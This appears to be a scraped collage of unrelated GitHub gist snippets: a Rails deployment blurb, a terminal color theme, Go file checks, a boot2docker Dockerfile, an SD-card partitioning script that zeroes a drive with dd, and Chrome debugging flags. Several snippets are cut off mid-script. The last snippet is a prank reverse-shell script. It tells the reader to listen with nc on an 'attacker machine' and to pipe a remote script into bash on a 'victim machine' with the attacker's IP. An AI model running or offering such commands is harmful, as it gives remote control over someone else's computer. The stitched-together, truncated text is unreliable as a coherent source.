- Zero Downtime
- Graceful shutdowns
- Via Github Actions
- Zero infrastructure management overhead
The general idea is to have Github Actions test, build and deploy a Rails app to Google Cloud Compute Engine.
| # Everforest Soft Dark | |
| # https://github.com/sainnhe/everforest | |
| background = #333c43 | |
| foreground = #d3c6aa | |
| cursor-color = #d3c6aa | |
| cursor-text = #333c43 | |
| selection-background = #4d5960 | |
| selection-foreground = #d3c6aa | |
| palette = 0=#4d5960 | |
| palette = 1=#e67e80 |
| if _, err := os.Stat("/path/to/whatever"); os.IsNotExist(err) { | |
| // path/to/whatever does not exist | |
| } | |
| if _, err := os.Stat("/path/to/whatever"); !os.IsNotExist(err) { | |
| // path/to/whatever exists | |
| } |
| #!/usr/bin/env sh | |
| open "tel://$*" |
| # using VirtualBox version $VBOX_VERSION | |
| FROM boot2docker/boot2docker | |
| RUN apt-get install p7zip-full | |
| RUN mkdir -p /vboxguest && \ | |
| cd /vboxguest && \ | |
| curl -L -o vboxguest.iso http://download.virtualbox.org/virtualbox/$VBOX_VERSION/VBoxGuestAdditions_$VBOX_VERSION.iso && \ | |
| 7z x vboxguest.iso -ir'!VBoxLinuxAdditions.run' && \ | |
| sh VBoxLinuxAdditions.run --noexec --target . && \ |
| { | |
| "hello": "world" | |
| } | |
| #!/bin/bash | |
| # Quelle: http://omappedia.org/wiki/Minimal-FS_SD_Configuration, 06.06.2012 | |
| if [ ! "$1" = "/dev/sda" ] ; then | |
| unset LANG | |
| DRIVE=$1 | |
| if [ -b "$DRIVE" ] ; then | |
| dd if=/dev/zero of=$DRIVE bs=1024 count=1024 | |
| SIZE=`fdisk -l $DRIVE | grep Disk | awk '{print $5}'` | |
| echo DISK SIZE - $SIZE bytes | |
| CYLINDERS=`echo $SIZE/255/63/512 | bc` |
| # http://peter.sh/experiments/chromium-command-line-switches/ | |
| mkdir -p /tmp/t1 | |
| open -na "Google Chrome" --args --user-data-dir=/tmp/t1 --remote-debugging-port=9222 | |
| # protip: press cmd+h to hide window |
| #!/usr/bin/env bash | |
| # run `nc -nvl 80` on attacker machine first | |
| # run `curl -Ls https://git.io/vXd2N | bash -s <attacker-ip> 80` on victim machine | |
| # great commands to run: | |
| # * curl http://discovermagazine.com/~/media/import/images/b/e/b/chimpmedia.jpg -o /tmp/monkey.jpg | |
| # open /tmp/monkey.jpg | |
| # * say hello | |
| # * open http://lmgtfy.com/?q=how+to+lock+mac | |
| # * ls |